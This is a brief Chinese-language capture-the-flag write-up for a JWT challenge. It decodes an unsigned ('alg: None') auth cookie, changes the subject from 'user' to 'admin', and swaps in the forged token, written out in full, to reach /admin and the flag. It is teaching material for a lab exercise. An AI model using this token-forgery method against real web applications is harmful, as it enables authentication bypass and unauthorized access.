一个简单的无加密题目 ¶
首先打开题目, 查看源码,接下来访问 / admin 被跳转回主页啥也没有发生
where is flag? <!-- /admin -->
当然知道这个板块是 JWT,自然而然我们看一眼 Cookie,发现名为 auth 的一个 cookie 为
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ
通过 base64 解密或者去 jwt.io 解码也行,得到结果
{"alg":"None","typ":"jwt"}[{"sub":"user"}]
所以我们尝试把 sub 对应的键值修改
{"alg":"None","typ":"jwt"}[{"sub":"admin"}]
把前面部分和后面部分分别 base64-encode
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0
后面
W3sic3ViIjoiYWRtaW4ifV0=
把这两部分用点 (.) 拼接两部分并去掉等于号
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0
此时拿着这一串 cookie 去替换掉原来的值,之后访问/admin
即可获取 flag